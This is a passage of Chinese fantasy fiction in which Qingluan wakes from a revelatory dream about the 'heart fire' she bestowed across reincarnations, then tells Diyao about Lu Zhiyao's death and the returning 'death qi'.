梦境向她揭示过往,真相穿过岁月的迷雾来到了她的眼前,那心火原来是她赐予千歌的。 路之遥说得没错,她是第一个觉醒心火的人,因此她拥有心火之源,心火是她创造于这个世间的新的力量。 无数个世界无数次轮回,她行走于光阴的长河,跋涉于时空的位面,以不同的身份将心火赐予她认可之人。 而那些拥有了心火之力的人,便是她为那些即将崩塌的世界选择的锚点。 他们可能死去,也会再入轮回,但心火的力量烙印在他们的灵魂之中,转世也不能忘。 他们与心火共生,他们就是她的襄助者,是她亲自选定的神使。 心火因他们的存在而生生不息,维系着千万个可能毁灭重启的世界,这是她早在进入轮回之境前便布好的棋局,是她为将来堕入轮回之境不断转世沉浮的自己铺好的道路。 她一直都很清楚自己应该做些什么。 “万物相生相克,平衡才是大道之法。” 路之遥的声音在梦境中响起,拂散了她心中的迷惘,击碎了无休止的梦境,在他声音响起的一刹那,青鸾睁眼回到了现实。 这一次她目光平静,体内的心火也不再躁动。 她躺在床上转首去看,发现帝媱居然还守在旁边。 见青鸾终于醒来,帝媱起身为她倒了一杯水:“你实在是太累了,连神魂都虚弱疲惫。” 青鸾坐起身来,接过水喝了两口:“你一直守在这里么?” 帝媱点了点头:“我不放心你,所以一直守在这里。” 沉吟片刻后她继续道:“而且……我还有问题想要问你。” “是想问我和路之遥在青丘发生了什么,对么?”青鸾又喝了两口水,嗓音却依旧十分干涩。 她凝视着帝媱,沉默半晌后将在青丘发生的一切都告诉了她,包括死气只是被路之遥暂时压制,如今路之遥已经陨落,它应当很快便会突破压制重现世间。 “我原本便在想,帝师修为高深已至超脱之境,这世上应当没有任何一股力量会是他的对手,他怎么可能在青丘陨落。”帝媱忧心忡忡地道:“没想到竟是死气现世……” “连帝师都只能暂时压制它,我们该如何是好?这世上可有彻底湮灭死气的方法?”